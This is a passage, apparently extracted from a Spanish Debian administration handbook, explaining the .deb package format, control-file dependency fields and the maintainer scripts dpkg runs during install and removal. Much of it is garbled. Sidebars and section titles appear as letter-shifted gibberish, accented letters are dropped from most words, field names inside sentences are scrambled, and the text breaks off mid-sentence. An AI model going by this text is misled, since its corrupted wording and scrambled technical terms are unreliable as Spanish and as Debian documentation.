UBNCJO QVFEF JOEJDBSTF DPNP printf(3)

&M $BQUVMP  k3FTPMVDJO EF QSPCMFNBT Z CTRVFEB EF JOGPSNBDJO SFMF


WBOUF{ QHJOB  EJTDVUF MBT QHJOBT EF NBOVBM DPO NT EFUBMMFT SFWJTF MB
4FDDJO  k1HJOBT EF NBOVBM{ QHJOB 


Estos son los contenidos de un archivo .deb:


$ ar t dpkg_1.16.10_amd64.deb
debian-binary
control.tar.gz
data.tar.gz
$ ar x dpkg_1.16.10_i386.deb
$ ls
control.tar.gz data.tar.gz debian-binary
$ tar tzf data.tar.gz | head -n 15
./
./var/
./var/lib/
./var/lib/dpkg/
./var/lib/dpkg/updates/
./var/lib/dpkg/alternatives/
./var/lib/dpkg/info/
./var/lib/dpkg/parts/
./usr/
./usr/share/
./usr/share/locale/
./usr/share/locale/sv/
./usr/share/locale/sv/LC_MESSAGES/
./usr/share/locale/sv/LC_MESSAGES/dpkg.mo
./usr/share/locale/it/
$ tar tzf control.tar.gz
./
./conffiles
./preinst
./md5sums
./control
./postrm
./prerm
./postinst
$ cat debian-binary
2.0

dpkg_1.16.10_i386.deb

Como puede ver, el compendio ar de un paquete Debian contiene tres archivos:


debian-binary. Es un archivo de texto
.deb utilizado (en 2013: versin 2.0).

que indica simplemente la versin del archivo

control.tar.gz. Este compendio contiene toda la metainformacin disponible, como el

nombre y la versin del paquete. Alguna de esta metainformacin le permite a las her-

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



ramientas de gestin de paquetes determinar si es posible instalar o desinstalarlo, por


ejemplo segn la lista de paquetes que ya se encuentran en el equipo.
data.tar.gz.

Este compendio contiene todos los archivos a extraerse del paquete; aqu
es donde estn almacenados los archivos ejecutables, la documentacin etc. Algunos paquetes pueden utilizar otros formatos de compresin, en los que el archivo tendr otro
nombre (data.tar.bz2 para bzip2m data.tar.xz para XZ, data.tar.lzma para LZMA).

 .FUBJOGPSNBDJO EF VO QBRVFUF


Un paquete Debian no es slo un compendio de archivos a instalar. Es parte de un todo ms
grande y describe su relacin con otros paquetes Debian (dependencias, conflictos, sugerencias). Tambin provee scripts que permiten la ejecucin de rdenes en diferentes etapas del
ciclo de vida del paquete (instalacin, eliminacin, actualizacin). Estos datos utilizados por las
herramientas de gestin de paquetes no son parte del software empaquetado pero son, dentro
del paquete, lo que se denomina metainformacin (informacin sobre otra informacin).

 %FTDSJQDJO FM BSDIJWP control


Este archivo utiliza una estructura similar a las cabeceras de email (definidas en RFC 2822). Por
ejemplo el archivo control de apt se ve de la siguiente forma:
$ apt-cache show apt
Package: apt
Version: 0.9.7.9
Installed-Size: 3271
Maintainer: APT Development Team <deity@lists.debian.org>
Architecture: amd64
Replaces: manpages-pl (<< 20060617-3~)
Depends: libapt-pkg4.12 (>= 0.9.7.9), libc6 (>= 2.4), libgcc1 (>= 1:4.1.1), libstdc
++6 (>= 4.6), debian-archive-keyring, gnupg
Suggests: aptitude | synaptic | wajig, dpkg-dev, apt-doc, xz-utils, python-apt
Conflicts: python-apt (<< 0.7.93.2~)
Description-en: commandline package manager
This package provides commandline tools for searching and
managing as well as querying information about packages
as a low-level access to all features of the libapt-pkg library.
.
These include:
* apt-get for retrieval of packages and information about them
from authenticated sources and for installation, upgrade and
removal of packages together with their dependencies
* apt-cache for querying available information about installed
as well as installable packages
* apt-cdrom to use removable media as a source for packages
* apt-config as an interface to the configuration settings
* apt-key as an interface to manage authentication keys



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Description-md5: 9fb97a88cb7383934ef963352b53b4a7
Tag: admin::package-management, hardware::storage, hardware::storage:cd,
implemented-in::c++, interface::commandline, network::client,
protocol::ftp, protocol::http, protocol::ipv6, role::program,
suite::debian, use::downloading, use::searching,
works-with::software:package
Section: admin
Priority: important
Filename: pool/main/a/apt/apt_0.9.7.9_amd64.deb
Size: 1253524
MD5sum: 00a128b2eb2b08f4ecee7fe0d7e3c1c4
SHA1: 6a271487ceee6f6d7bc4c47a8a16f49c26e4ca04
SHA256: 3bba3b15fb5ace96df052935d7069e0d21ff1f5b496510ec9d2dc939eefad104

70-7&3 " -04


$*.*&/504
3'$ FTUOEBSFT EF
JOUFSOFU

3'$ TPO MBT TJHMBT EF kQFEJEP EF DPNFOUBSJPT{ k3FRVFTU 'PS $PNNFOUT{



6O 3'$ FT HFOFSBMNFOUF VO EPDVNFOUP UDOJDP RVF EFTDSJCF MP RVF TF DPOWFS
UJS FO VO FTUOEBS EF JOUFSOFU "OUFT EF DPOWFSUJSTF FO FTUOEBS Z DPOHFMBSTF
TUPT FTUOEBSFT TPO FOWJBEPT QBSB SFWJTJO QCMJDB EF BI TV OPNCSF
 -B
*&5' k*OUFSOFU &OHJOFFSJOH 5BTL 'PSDF{ HSVQP EF USBCBKP EF JOHFOJFSB EF JO
UFSOFU
EFDJEF TPCSF MB FWPMVDJO EFM FTUBEP EF FTUPT EPDVNFOUPT FTUOEBSFT
QSPQVFTUPT CPSSBEPSFT EF FTUOEBS P FTUOEBS

3'$  EFGJOF FM QSPDFTP EF FTUBEBSJ[BDJO EF QSPUPDPMPT EF JOUFSOFU
http://www.faqs.org/rfcs/rfc2026.html

%FQFOEFODJBT FM DBNQP %FQFOET


Las dependencias estn definidas en el campo %FQFOET en la cabecera del paquete. Esta es una
lista de condiciones a cumplir para que el paquete funcione correctamente las herramientas
como apt utilizan esta informacin para instalar las bibliotecas necesarias, las versiones apropiadas, de las que depende el paquete a instalar. Para cada dependencia es posible restringir el
rango de versiones que cumplen dicha condicin. En otras palabras, es posible expresar el hecho de que necesitamos el paquete libc6 en una versin igual o mayor a 2.3.4 (escrito como
libc6 (>=2.3.4). Los operadores de comparacin de versiones son los siguientes:
<<: menor que;
<=: menor o igual que;
=: igual a (note que  no es igual a );
>=: mayor o igual que;
>>: mayor que.

En una lista de condiciones a cumplir, la coma sirve como separador. Debe interpretrsela como
un y lgico. En las condiciones una barra vertical (|) expresa un o lgico (es un o inclusivo, no uno exclusivo que significa o uno o el otro). Tiene ms prioridad que y y puede

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



ser utilizado tantas veces como sea necesario. Por lo tanto, la dependencia (A o B) y C se escribe A | B, C. Por otro lado, la expresin A o (B y C) debe escribirse (A o B) y (A o C) ya
que el campo %FQFOET no permite parntesis que cambien el orden de las prioridades entre los
operadores lgicos o e y. Por lo tanto, se lo escribira A | B, A | C.
http://www.debian.org/doc/debian-policy/ch-relationships.html
El sistema de dependencias es un buen mecanismo para garantizar el funcionamiento de un programa, pero tiene otro uso con los metapaquetes. stos son paquetes vacos que slo describen
dependencias. Facilitan la instalacin de un grupo consistente de programas preseleccionados
por el desarrollador del metapaquete; como tal apt-get install metapaquete instalar automticamente todos estos programas utilizando las dependencias del metapaquete. Los paquetes gnome, kde-full y linux-image-amd64, por ejemplo, son metapaquetes.

/03." %&#*"/
Pre-Depends VO Depends
NT FYJHFOUFT

-BT kQSFEFQFOEFODJBT{ MJTUBEBT FO FM DBNQP kPre-Depends{ EF MBT DBCFDFSBT


EF VO QBRVFUF DPNQMFUBO MBT EFQFOEFODJBT OPSNBMFT MB TJOUBYJT FT JEOUJDB
6OB EFQFOEFODJB OPSNBM JOEJDB RVF FM QBRVFUF FO DVFTUJO EFCF TFS EFTFN
QBRVFUBEP Z DPOGJHVSBEP BOUFT EF MB DPOGJHVSBDJO EFM QBRVFUF RVF EFDMBSB MB
EFQFOEFODJB 6OB QSFEFQFOEFODJB FTUJQVMB RVF FM QBRVFUF FO DVFTUJO EFCF
TFS EFTFNQBRVFUBEP Z DPOGJHVSBEP BOUFT EF MB FKFDVDJO EFM TDSJQU EF QSF
JOTUBMBDJO EFM QBRVFUF RVF EFDMBSB MB QSFEFQFOEFODJB FT EFDJS BOUFT EF TV
JOTUBMBDJO
6OB QSFEFQFOEFODJB FT NVZ FYJHFOUF QBSB apt QPSRVF BHSFHB VOB SFTUSJDDJO
FTUSJDUB FO FM PSEFO EF JOTUBMBDJO EF MPT QBRVFUFT 1PS MP UBOUP TF JOUFOUB FWJUBS
QSFEFQFOEFODJBT B NFOPT RVF TFB BCTPMVUBNFOUF OFDFTBSJP &T SFDPNFOEBCMF
BO DPOTVMUBS B PUSPT EFTBSSPMMBEPSFT FO EFCJBOEFWFM!MJTUTEFCJBOPSH BOUFT
EF BHSFHBS VOB QSFEFQFOEFODJB (FOFSBMNFOUF FT QPTJCMF FODPOUSBS PUSB TPMV
DJO QBSB FWJUBSMP

/03." %&#*"/
$BNQPT Recommends
Suggests Z Enhances

-PT DBNQPT Recommends Z Suggests EFTDSJCFO EFQFOEFODJBT RVF OP TPO PCMJ


HBUPSJBT -BT EFQFOEFODJBT kSFDPNFOEBEBT{ MBT NT JNQPSUBOUFT NFKPSBO
DPOTJEFSBCMFNFOUF MB GVODJPOBMJEBE PGSFDJEB QPS FM QBRVFUF QFSP OP TPO JO
EJTQFOTBCMFT QBSB TV GVODJPOBNJFOUP -BT EFQFOEFODJBT kTVHFSJEBT{ EF JN
QPSUBODJB TFDVOEBSJB JOEJDB RVF DJFSUPT QBRVFUFT DPNQMFNFOUBSBO Z BVNFO
UBSBO TV VUJMJEBE QFSP FT QFSGFDUBNFOUF SB[POBCMF JOTUBMBS VOP TJO MPT PUSPT
4JFNQSF EFCFSB JOTUBMBS MPT QBRVFUFT kSFDPNFOEBEPT{ B NFOPT RVF TFQB FY
BDUBNFOUF RVF OP MPT OFDFTJUB 1PS FM DPOUSBSJP OP FT OFDFTBSJP JOTUBMBS QB
RVFUFT kTVHFSJEPT{ B NFOPT RVF TFQB QPSRV MPT OFDFTJUB
&M DBNQP Enhances UBNCJO EFTDSJCF VOB TVHFSFODJB QFSP FO VO DPOUFYUP
EJGFSFOUF &TU VCJDBEP FO FM QBRVFUF TVHFSJEP OP FO FM QBRVFUF RVF TF CFOF
GJDJB EF MB TVHFSFODJB 1PS MP UBOUP UPEPT MPT BHSFHBEPT QMVHJOT Z PUSBT FYUFO
TJPOFT EF VO QSPHSBNB QVFEFO BQBSFDFS FO MB MJTUB EF TVHFSFODJBT SFMBDJPOBEBT
BM TPXBSF 4J CJFO FYJTUF EFTEF IBDF WBSJPT BPT FTUF MUJNP DBNQP FT HFO
FSBMNFOUF JHOPSBEP QPS QSPHSBNBT DPNP apt-get P synaptic 4V QSPQTJUP FT
RVF VOB TVHFSFODJB FO FM DBNQP Enhances BQBSF[DB BOUF FM VTVBSJP BEFNT EF
MBT TVHFSFODJBT USBEJDJPOBMFT RVF TF FODVFOUSBO FO FM DBNQP Suggests



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

$POGMJUPT FM DBNQP $POGMJDUT


El campo $POGMJDUT indica que un paquete no puede instalarse simultneamente con otro. La
razn ms comn es que ambos paquetes contienen un archivo con el mismo nombre, proveen
el mismo servicio en el mismo puerto TCP o estorban el funcionamiento del otro.
dpkg se negar a instalar un paquete si genera un conflicto con un paquete ya instalado, excepto
si el nuevo paquete especifica que reemplazar al paquete instalado en cuyo caso dpkg elegir
reemplazar el paquete existente con el nuevo. apt-get siempre seguir sus instrucciones: si

desea instalar un nuevo paquete ofrecer automticamente desinstalar el paquete que genera
problemas.

*ODPNQBUJCJMJEBEFT FM DBNQP #SFBLT


El campo #SFBLT tiene un efecto similar al del campo $POGMJDUT pero con un significado especial.
Indica que la instalacin de un paquete romper otro paquete (o versiones particulares del
mismo). En general, esta incompatibilidad entre dos paquetes es temporal y la relacin #SFBLT
se refiere especficamente a las versiones incompatibles.
se negar a instalar un paquete que rompe un paquete ya instalado y apt-get intentar
resolver el problema actualizando a una nueva versin el paquete que se rompera (que se asume
estara arreglado y, por lo tanto, sera compatible nuevamente).
dpkg

Este tipo de situaciones pueden ocurrir en casos de actualizaciones que no sean compatibles con
versiones anteriores: este es el caso si una nueva versin ya no funciona con la versin anterior
y causa un mal funcionamiento en otros programas si no se toman medidas especiales. El campo
#SFBLT previene que el usuario se tope con estos problemas.

&MFNFOUPT QSPWJTUPT FM DBNQP 1SPWJEFT


Este campo introduce el concepto interesante de un paquete virtual. Tiene muchos roles pero
hay dos particularmente importantes. El primero consiste en utilizar un paquete virtual para
asociar un servicio genrico con l (el paquete provee el servicio). El segundo indica que un
paquete reemplaza completamente a otro y, para esos propsitos, tambin puede satisfacer las
dependencias que otros satisfacen. Es posible, entonces, crear un paquete substituto sin tener
que utilizar el mismo nombre de paquete.
70$"#6-"3*0
.FUBQBRVFUF Z QBRVFUF
WJSUVBM

&T FTFODJBM EJTUJOHVJS MPT NFUBQBRVFUFT EF MPT QBRVFUFT WJSUVBMFT -PT QSJNFSPT
TPO QBRVFUFT SFBMFT JODMVZFOEP BSDIJWPT .deb
DVZP OJDP QSPQTJUP FT FYQSF
TBS EFQFOEFODJBT
-PT QBRVFUFT WJSUVBMFT QPS FM PUSP MBEP OP FYJTUFO GTJDBNFOUF TMP TPO VO
NPEP EF JEFOUJGJDBS QBRVFUFT SFBMFT CBTBEPT FO DSJUFSJPT MHJDPT Z DPNVOFT
TFSWJDJPT QSPWJTUPT DPNQBUJCJMJEBEFT DPO VO QSPHSBNB FTUOEBS P VO QBRVFUF
QSFFYJTUFOUFT FUD


$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



Proveyendo un servicio Discutamos con ms detalles el primer caso con un ejemplo: se


dice que todos los servicios de correo, como postfix o sendmail proveen el paquete virtual mailtransport-agent. Por lo tanto, cualquier paquete que necesite este servicio para funcionar (por
ejemplo, un gestor de listas de correo como smartlist o sympa) simplemente indican en sus dependencias que requieren de mail-transport-agent en lugar de especificar una lista larga y an
incompleta de posibles soluciones (por ejemplo postfix | sendmail | exim4 | ...). Lo que
es ms, es intil instalar dos servidores de correo en el mismo equipo, por lo que cada uno de
estos paquetes declara un conflicto con el paquete virtual mail-transport-agent. El conflicto con
s mismo es ignorado por el sistema, pero esta tcnica prohibir la instalacin de dos servidores
de correo simultneamente.

/03." %&#*"/
-JTUB EF QBRVFUFT WJSUVBMFT

1BSB RVF VO QBRVFUF WJSUVBM TFB UJM UPEPT EFCFO FTUBS EF BDVFSEP FO TV OPN
CSF &T QPSRVF FTP RVF FTUO FTUBOEBSJ[BEPT FO MB /PSNBUJWB %FCJBO &TUB MJTUB
JODMVZF FOUSF PUSPT NBJMUSBOTQPSUBHFOU QBSB TFSWJEPSFT EF DPSSFP DDPNQJMFS
QBSB DPNQJMBEPSFT EFM MFOHVBKF EF QSPHSBNBDJO $ XXXCSPXTFS QBSB OBWF
HBEPSFT XFC IQE QBSB TFSWJEPSFT XFC QTFSWFS QBSB TFSWJEPSFT '51 Y
UFSNJOBMFNVMBUPS QBSB FNVMBEPSFT EF UFSNJOBM FO NPEP HSGJDP xterm
Z Y
XJOEPXNBOBHFS QBSB HFTUPSFT EF WFOUBOBT
1VFEF FODPOUSBS MB MJTUB DPNQMFUB FO MB XFC
http://www.debian.org/doc/packaging-manuals/
virtual-package-names-list.txt

Intercambio con otro paquete El campo 1SPWJEFT es nuevamente interesante cuando se incluye el contenido del paquete en un paquete ms grande. Por ejemplo, el mdulo Perl libdigestmd5-perl era un mdulo opcional en Perl 5.6 y fue integrado como estndar en Perl 5.8 (y versiones siguientes, como 5.14 que est presente en Wheezy). Como tal, el paquete perl desde su
versin 5.8 declara 1SPWJEFTMJCEJHFTUNEQFSM para que se cumplan las dependencias de este
paquete si el usuario tiene Perl 5.8 (o una versin ms reciente). El paquete libdigest-md5-perl en
s fue eventualmente eliminado ya que no tena propsito cuando las versiones antiguas de Perl
fueron retiradas.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

'JHVSB  6UJMJ[BDJO EFM DBNQP 1SPWJEFT QBSB OP SPNQFS EFQFOEFODJBT

Esta funcionalidad es muy til ya que nunca es posible anticipar los caprichos del desarrollo y
es necesario que sea posible adaptarse a cambios de nombre y otros reemplazos automticos de
software obsoleto.
70-7&3 " -04
$*.*&/504
1FSM VO MFOHVBKF EF
QSPHSBNBDJO

1FSM MFOHVBKF QSDUJDP EF FYUSBDJO Z SFQPSUFT k1SBDUJDBM &YUSBDUJPO BOE 3F


QPSU -BOHVBHF{
FT VO MFOHVBKF EF QSPHSBNBDJO NVZ QPQVMBS 5JFOF NVDIPT
NEVMPT MJTUPT QBSB VUJMJ[BS RVF DVCSFO VO WBTUP FTQFDUSP EF BQMJDBDJPOFT Z
RVF TPO EJTUSJCVJEPT QPS MPT TFSWJEPSFT $1"/ SFE FYIBVTUJWB EF DPNQFOEJPT
1FSM k$PNQSFIFOTJWF 1FSM "SDIJWF /FUXPSL{
VOB BNQMJB SFE EF QBRVFUFT
1FSM
http://www.perl.org/
http://www.cpan.org/

%BEP RVF FT VO MFOHVBKF JOUFSQSFUBEP VO QSPHSBNB FTDSJUP FO 1FSM OP SFRVJFSF


DPNQJMBDJO BOUFT EF TV FKFDVDJO 1PS FTUP TF MPT MMBNB kTDSJQUT 1FSM{

Limitaciones actuales Los paquetes virtuales sufren de algunas limitaciones, la ms importante de ellas es la ausencia de un nmero de versin. Volviendo al ejemplo anterior, una dependencia como %FQFOETMJCEJHFTUNEQFSM 
nunca ser considerada como satisfecha
an en presencia de Perl 5.10 cuando de hecho es altamente probable que est satisfecha. Sin
conocimientos de esto el sistema de paquetes selecciona la opcin menos riesgosa y asume que
las versiones no coinciden.

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



:&/%0 .4 "--
7FSTJPOFT EF QBRVFUFT
WJSUVBMFT

4J CJFO IPZ FO EB MPT QBRVFUFT WJSUVBMFT OP QVFEFO UFOFS WFSTJPOFT FTUP OP


TFS FM DBTP QBSB TJFNQSF %F IFDIP apt ZB QVFEF HFTUJPOBS WFSTJPOFT EF QB
RVFUFT WJSUVBMFT Z FT QSPCBCMF RVF dpkg UBNCJO MP IBS FWFOUVBMNFOUF -VFHP
QPESFNPT FTDSJCJS MPT DBNQPT DPNP Provides:libstorable-perl (=1.7) QBSB
JOEJDBS RVF FM QBRVFUF QSPWFF MB NJTNB GVODJPOBMJEBE RVF MJCTUPSBCMFQFSM FO
TV WFSTJO 

3FFNQMB[P EF BSDIJWPT FM DBNQP 3FQMBDFT


El campo 3FQMBDFT indica que el paquete contiene archivos que tambin estn presentes en otro
paquete, pero que el paquete tiene el derecho legtimo de reemplazarlo. Sin esta especificacin,
dpkg fallar indicando que no puede sobreescribir los archivos de otro paquete (es posible forzar
que lo haga con la opcin GPSDFPWFSXSJUF). Esto permite identificar problemas potenciales y
requiere que el desarrollador estudie el hecho antes de decidir agregar dicho campo.
El uso de este campo est justificado cuando cambian los nombres de los paquetes o cuando un
paquete est incluido en otro. Esto sucede cuando el desarrollador decide distribuir los archivos
de otra forma entre los varios paquetes binarios producidos del mismo paquete fuente: un archivo reemplazado no le corresponde al paquete antiguo, slo al nuevo.
Si todos los archivos de un paquete instalado fueron reemplazados, se considera que se elimin
el paquete. Finalmente, este campo incita que dpkg elimie los paquetes reemplazados en casos
de conflictos.
:&/%0 .4 "--
&M DBNQP Tag

&O FM FKFNQMP BOUFSJPS EF BQU QPEFNPT WFS MB QSFTFODJB EF VO DBNQP RVF OP


IFNPT EFTDSJQUP UPEBWB FM DBNQP Tag &TUF DBNQP OP EFTDSJCF MB SFMBDJO
FOUSF QBRVFUFT TJOP RVF FT VOB GPSNB TJNQMF EF DBUFHPSJ[BS VO QBRVFUF FO
VOB UBYPOPNB UFNUJDB &TUB DMBTJGJDBDJO EF QBRVFUFT TFHO WBSJPT DSJUFSJPT
UJQPT EF JOUFSGB[ MFOHVBKF EF QSPHSBNBDJO EPNJOJP EF MB BQMJDBDJO FUD

IB FTUBEP EJTQPOJCMF FO %FCJBO QPS NVDIP UJFNQP 4JO FNCBSHP OP UPEPT MPT
QBRVFUFT UJFOFO FUJRVFUBT kUBH{
QSFDJTBT Z OP FTU JOUFHSBEP BO FO UPEBT
MBT IFSSBNJFOUBT EF %FCJBO aptitude NVFTUSB FTUBT FUJRVFUBT Z QFSNJUF VUJ
MJ[BSMBT DPNP DSJUFSJP EF CTRVFEB 1BSB BRVFMMPT RVF FWJUBO MPT DSJUFSJPT EF
CTRVFEB EF aptitude FM TJHVJFOUF TJUJP XFC MF QFSNJUF OBWFHBS QPS MB CBTF
EF EBUPT EF FUJRVFUBT
http://debtags.alioth.debian.org/

 4DSJQUT EF DPOGJHVSBDJO


Adems del archivo control, el compendio control.tar.gz de cada paquete Debian puede
contener una cantidad de scripts que sern ejecutados por dpkg en diferentes etapas del procesamiento de un paquete. La Normativa Debian describe lo casos posibles en detalle, especificando los scripts que sern llamados y los argumentos que recibirn. Estas secuencias pueden ser
complicadas ya que si falla uno de los scripts dpkg intentar volver a un estado satisfactorio
cancelando la instalacin o eliminacin en curso (siempre que sea posible).



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

:&/%0 .4 "--
#BTF EF EBUPT EF dpkg

5PEPT MPT TDSJQUT EF DPOGJHVSBDJO QBSB MPT QBRVFUFT JOTUBMBEPT TF BMNBDFOBO


FO FM EJSFDUPSJP /var/lib/dpkg/info/ FO GPSNB EF VO BSDIJWP DPO FM OPNCSF
EFM QBRVFUF DPNP QSFGJKP &TUF EJSFDUPSJP UBNCJO JODMVZF VO BSDIJWP DPO MB
FYUFOTJO .list QBSB DBEB QBRVFUF RVF DPOUJFOF VOB MJTUB EF MPT BSDIJWPT RVF
QFSUFOFDFO B EJDIP QBRVFUF
&M BSDIJWP /var/lib/dpkg/status DPOUJFOF VOB TFSJF EF CMPRVFT EF EBUPT FO
FM GBNPTP GPSNBUP EF DBCFDFSBT EF DPSSFP 3'$ 
RVF EFTDSJCFO FM FTUBEP
EF DBEB QBRVFUF -B JOGPSNBDJO EFM BSDIJWP control UBNCJO FT EVQMJDBEB
BMM

En general, se ejecuta el script preinst antes de la instalacin del paquete, y postinst luego.
De la misma forma, se invoca prerm antes de la eliminacin de un paquete y postrm luego. Actualizar un paquete es equivalente a eliminar la versin anterior e instalar la nueva. No es posible
describir en detalle todos los escenarios posibles aqu, pero discutiremos los dos ms comunes:
instalacin/actualizacin y eliminacin.
13&$"6$*/
/PNCSFT TJNCMJDPT EF MPT
TDSJQUT

-BT TFDVFODJBT EFTDSJQUBT FO FTUB TFDDJO MMBNBO TDSJQUT EF DPOGJHVSBDJO QPS


TVT OPNCSFT FTQFDGJDPT DPNP old-prerm P new-postinst &MMPT TPO SFTQFD
UJWBNFOUF FM TDSJQU prerm FO MB WFSTJO BOUJHVB EFM QBRVFUF JOTUBMBEB BOUFT
EF MB BDUVBMJ[BDJO
Z FM TDSJQU postinst FO MB OVFWB WFSTJO JOTUBMBEB FO MB
BDUVBMJ[BDJO


46(&3&/$*"
%JBHSBNBT EF FTUBEP

.BOPK 4SJWBTUBWB SFBMJ[ FTUPT EJBHSBNBT FYQMJDBOEP DNP dpkg MMBNB B FT
UPT TDSJQUT EF DPOGJHVSBDJO &M QSPZFDUP %FCJBO 8PNFO k.VKFSFT %FCJBO{

UBNCJO EFTBSSPMM EJBHSBNBT TJNJMBSFT NT TJNQMFT EF FOUFOEFS QFSP NFOPT


DPNQMFUPT
http://people.debian.org/~srivasta/MaintainerScripts.html
http://wiki.debian.org/MaintainerScripts

*OTUBMBDJO Z BDUVBMJ[BDJO
Esto es lo que ocurre durante una instalacin (o actualizacin):
1. En una actualizacin, dpkg ejecuta old-prerm upgrade nueva-versin.
2. En una actualizacin dpkg ejecuta luego new-preinst upgrade antigua-versin; para
una primera instalacin ejecuta new-preinst install. Tambin puede agregar la versin anterior en el ltimo parmetro si el paquete ya ha sido instalada y eliminada desde
entonces (pero no purgada, se mantuvieron los archivos de configuracin).
3. Se descomprimen los archivos del nuevo paquete. Si un archivo ya existe, es reemplazado
pero se guarda una copia de respaldo de forma temporal.
4. En una actualizacin, dpkg ejecuta old-postrm upgrade nueva-versin.

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



5. dpkg actualiza toda su informacin interna (lista de archivos, scripts de configuracin,


etc.) y elimina los respalos de los archivos reemplazados. Este es el punto sin retorno:
dpkg ya no tiene acceso a todos los elementos necesarios para volver al estado anterior.
6. dpkg actualizar los archivos de configuracin, pidindole al usuario que decida si no es
capaz de administrar esta tarea automticamente. Los detalles de este proceso son discutidos en la Seccin 5.2.3, Sumas de verificacin (checksum), lista de archivos de configuracin pgina 87.
7. Finalmente, dpkg configura el paquete ejecutando new-postinst configure ltimaversin-configurada.

&MJNJOBDJO EF VO QBRVFUF
Esto es lo que sucede durante la eliminacin de un paquete:
1. dpkg ejecuta prerm remove.
2. dpkg elimina todos los archivos del paquete, con la excepcin de los archivos de configuracin y scripts de configuracin.
3. dpkg ejecuta postrm remove. Se eliminan todos los scripts de configuracin excepto
postrm. Si el usuario no utiliz la opcin purgar (purge), el proceso termina aqu.
4. Para eliminar completamente un paquete (con la orden dpkg --purge o dpkg -P), los
archivos de configuracin tambin son eliminados junto con una cantidad de copias (*.
dpkg-tmp, *.dpkg-old, *.dpkg-new) y archivos temporales; luego dpkg ejecuta postrm
purge.
70$"#6-"3*0
1VSHBS VOB FMJNJOBDJO
DPNQMFUB

$VBOEP VO QBRVFUF EF %FCJBO FT FMJNJOBEP TF NBOUJFOFO MPT BSDIJWPT EF


DPOGJHVSBDJO QBSB GBDJMJUBS VOB QPTJCMF SFJOTUBMBDJO %F MB NJTNB GPSNB TF
NBOUJFOFO OPSNBMNFOUF MPT EBUPT HFOFSBEPT QPS VO EFNPOJP DPNP FM DPO
UFOJEP EF VO TFSWJEPS EF EJSFDUPSJP -%"1 P FM DPOUFOJEP EF VOB CBTF EF EBUPT
EF VO TFSWJEPS 42-

1BSB FMJNJOBS UPEPT MPT EBUPT BTPDJBEPT DPO VO QBRVFUF FT OFDFTBSJP kQVSHBS{
FM QBRVFUF DPO MB PSEFO dpkg -P paquete apt-get remove --purge paquete
P aptitude purge paquete
%BEB MB OBUVSBMF[B EFGJOJUJWB EF UBM FMJNJOBDJO EF EBUPT OP TF EFCF UPNBS B
MB MJHFSB FM QVSHBEP

Los cuatro scripts que aparecen detallados anteriormente se complementan con un script
config provisto por los paquetes que utilizan debconf para adquirir informacin de configuracin del usuario. Durante la instalacin este script define en detalle las preguntas realizadas
por debconf. Se graban las respuestas en la base de datos de debconf para futuras referencias.
Generalmente apt ejecuta el script antes de instalar los paquetes uno por uno para agrupar las
preguntas y realizarlas todas al usuario al comienzo del proceso. Los scripts de pre y postinstalacin pueden utilizar esta informacin para operar segn los deseos del usuario.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

)&33".*&/5"
debconf

4F DSF debconf QBSB SFTPMWFS VO QSPCMFNB SFDVSSFOUF FO %FCJBO 5PEPT MPT


QBRVFUFT %FCJBO RVF OP QVFEFO GVODJPOBS TJO VO NOJNP EF DPOGJHVSBDJO
TPMBO IBDFS QSFHVOUBT FKFDVUBOEP echo Z read FO TDSJQUT postinst Z PUSPT
TDSJQUT TJNJMBSFT
 1FSP FTUP UBNCJO SFTVMUBCB RVF EVSBOUF VOB JOTUBMBDJO P
BDUVBMJ[BDJO HSBOEF FM VTVBSJP EFCB NBOUFOFSTF GSFOUF BM FRVJQP QBSB SF
TQPOEFS B MBT WBSJBT QSFHVOUBT RVF QPEBO TVSHJS FO DVBMRVJFS NPNFOUP 4F
IBO FWJUBEP MB NBZPSB EF UPEBT FTUBT JOUFSBDDJPOFT NBOVBMFT HSBDJBT B MB IFS
SBNJFOUB debconf
UJFOF NVDIBT GVODJPOBMJEBEFT JOUFSFTBOUFT SFRVJFSF RVF FM EFTBSSPM
MBEPS FTQFDJGJRVF MB JOUFSBDDJO DPO FM VTVBSJP QFSNJUF MPDBMJ[BDJO EF UPEBT
MBT DBEFOBT NPTUSBEBT B MPT VTVBSJPT TF HVBSEBO UPEBT MBT USBEVDDJPOFT FO FM
BSDIJWP templates EFTDSJCJFOEP MBT JOUFSBDDJPOFT
UJFOF EJGFSFOUFT JOUFSGBDFT
QBSB QSFTFOUBS MBT QSFHVOUBT BM VTVBSJP NPEP UFYUP NPEP HSGJDP OP JOUFS
BDUJWP
Z QFSNJUF MB DSFBDJO EF VOB CBTF EF EBUPT DFOUSBM EF SFTQVFTUBT QBSB
DPNQBSUJS MB NJTNB DPOGJHVSBDJO FOUSF WBSJPT FRVJQPT QFSP MB NT JNQPS
UBOUF FT RVF BIPSB FT QPTJCMF QSFTFOUBS BM VTVBSJP UPEBT MBT QSFHVOUBT KVOUBT
BOUFT EF DPNFO[BS VO MBSHP QSPDFTP EF JOTUBMBDJO P BDUVBMJ[BDJO .JFOUSBT FM
TJTUFNB TF FODBSHB EF MB JOTUBMBDJO QPS T NJTNP FM VTVBSJP QVFEF PDVQBSTF
EF PUSBT UBSFBT TJO OFDFTJEBE EF RVFEBSTF NJSBOEP MB QBOUBMMB FTQFSBOEP QSF
HVOUBT
debconf

 4VNBT EF WFSJGJDBDJO kDIFDLTVN{


MJTUB EF BSDIJWPT EF DPOGJHVSBDJO
Adems de los scripts de gestin y los datos de control mencionados en las secciones anteriores,
el compendio control.tar.gz en un paquete Debian puede contener otros archivos interesantes. El primero, md5sums contiene una lista sumas de verificacin MD5 de todos los archivos
del paquete. Su principal ventaja es que permite que herramientas como debsums (que estudiaremos en la Seccin 14.3.3.1, Auditora de paquetes: debsums y sus lmites pgina 397)
chequeen si estos archivos fueron modificados desde su instalacin. Sepa que cuando este archivo no existe, dpkg lo generar dinmicamente en el momento de la instalacin (y lo almacenar
